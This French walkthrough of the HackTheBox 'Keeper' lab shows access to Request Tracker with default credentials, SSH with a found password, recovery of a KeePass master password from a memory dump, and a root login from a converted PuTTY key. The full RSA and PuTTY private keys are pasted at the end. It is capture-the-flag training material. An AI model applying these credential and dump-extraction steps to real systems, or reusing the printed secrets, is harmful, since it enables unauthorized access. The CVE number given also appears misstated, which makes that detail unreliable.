HackTheBox Writeup

Keeper

Keeper — Walkthrough

Résumé rapide

  • Machine Linux (Ubuntu) simple centrée sur un service Request Tracker (RT) et une clé/root stockée dans une base KeePass. L'axe principal : exploiter des identifiants par défaut pour accéder à RT, récupérer un dump KeePass et extraire la master‑password depuis le dump (CVE‑2022‑32784), puis utiliser la base KeePass pour obtenir la clé SSH root.

Prérequis

  • Ajouter 10.10.11.227 keeper.htb tickets.keeper.htb dans /etc/hosts.
  • Outils : nmap, ffuf/feroxbuster, sshpass, scp, unzip, dotnet (ou Docker), kpcli, putty-tools (puttygen), ssh.
  1. Recon
  • Scan rapide :
nmap -p- --min-rate 10000 10.10.11.227
nmap -sC -sV -p 22,80 10.10.11.227
  • Résultat important : port 80 -> nginx (site principal renvoyant vers tickets.keeper.htb/rt/), port 22 -> OpenSSH.
  1. Accès à Request Tracker (RT)
  • Visiter http://tickets.keeper.htb/rt/ (hôte ajouté dans /etc/hosts) et tester les identifiants par défaut. Ici les identifiants par défaut fonctionnent :
Utilisateur: root
Mot de passe: password
  • Après connexion, on trouve un ticket mentionnant un dump KeePass (RT30000.zip) dans le home du user lnorgaard.
  1. Se connecter en tant que l'utilisateur trouvé
  • À partir des données trouvées dans RT, on récupère les identifiants du compte lnorgaard (ex. Welcome2023!) et on se connecte par SSH :
sshpass -p 'Welcome2023!' ssh [email protected]
cat user.txt
  1. Récupération des artifacts
  • Dans le home de lnorgaard se trouve RT30000.zip contenant KeePassDumpFull.dmp et passcodes.kdbx.
  • Copier le zip localement :
sshpass -p 'Welcome2023!' scp [email protected]:/home/lnorgaard/RT30000.zip .
unzip RT30000.zip
  1. Extraire la master password depuis le dump (CVE‑2022‑32784)
  • Plusieurs implémentations existent. La version .NET (keepass-password-dumper) est fiable mais nécessite le runtime .NET correspondant ; si dotnet n'est pas disponible localement, utiliser Docker pour exécuter la version .NET :
docker run --rm -it -v $(pwd):/data mcr.microsoft.com/dotnet/sdk:7.0.100
git clone https://github.com/vdohney/keepass-password-dumper
cd keepass-password-dumper
dotnet run /data/KeePassDumpFull.dmp
  • Résultat attendu : listes de candidats pour chaque position du mot de passe. L'outil reconstruit la plupart des caractères (le premier caractère est manquant par conception). Exemple de sortie combinée :
●{...}dgrød med fløde
  • Avec les candidats fournis, on peut deviner/essayer le mot de passe complet et l'utiliser pour ouvrir passcodes.kdbx.
  1. Ouvrir la base KeePass et récupérer la clé/identifiants
  • Utiliser kpcli ou un outil compatible :
kpcli --kdb passcodes.kdbx
# puis 'open' et naviguer vers passcodes/Network
show -f 0   # affiche l'entrée 'keeper.htb (Ticketing Server)' contenant la clé Putty et le mot de passe root
show -f 1   # affiche l'entrée 'Ticketing System' (lnorgaard / Welcome2023!)
  • On trouve notamment :
    • utilisateur root avec mot de passe (exemple trouvé dans la base)
    • une clé privée Putty (PuTTY-User-Key-File-3) dans le champ Notes
  1. Conversion de la clé Putty vers OpenSSH et connexion root
  • Préparer la clé : coller la section Notes dans un fichier (par ex. root-putty.key) et convertir :
sudo apt install putty-tools
puttygen root-putty.key -O private-openssh -o ~/keys/keeper-root
chmod 600 ~/keys/keeper-root
ssh -i ~/keys/keeper-root [email protected]
  • Alternativement, si on a le mot de passe root trouvé, on peut l'utiliser directement :
ssh [email protected]
  1. Récupérer root.txt
cat /root/root.txt

Notes techniques et astuces

  • L'extraction du mot de passe depuis un dump KeePass ne permet normalement pas de récupérer le premier caractère ; il faut combiner les candidats fournis par l'outil et tenter des combinaisons plausibles (expressions idiomatiques, mots composés, etc.).
  • Si dotnet pose problème sur votre hôte, l'exécution dans un conteneur Docker (mcr.microsoft.com/dotnet/sdk) est une solution pratique.
  • kpcli facilite l'exploration d'un fichier .kdbx en CLI.

Conclusion

  • Keeper est un box pédagogique : reconnaissance, utilisation d'identifiants par défaut pour accéder à RT, extraction d'un dump KeePass, exploitation de CVE‑2022‑32784 pour récupérer la master password puis récupération d'une clé/root via la base KeePass et conversion de la clé Putty.

Keeper

keeper_password_dumper!

id_rsa:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----

rootrsa:

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0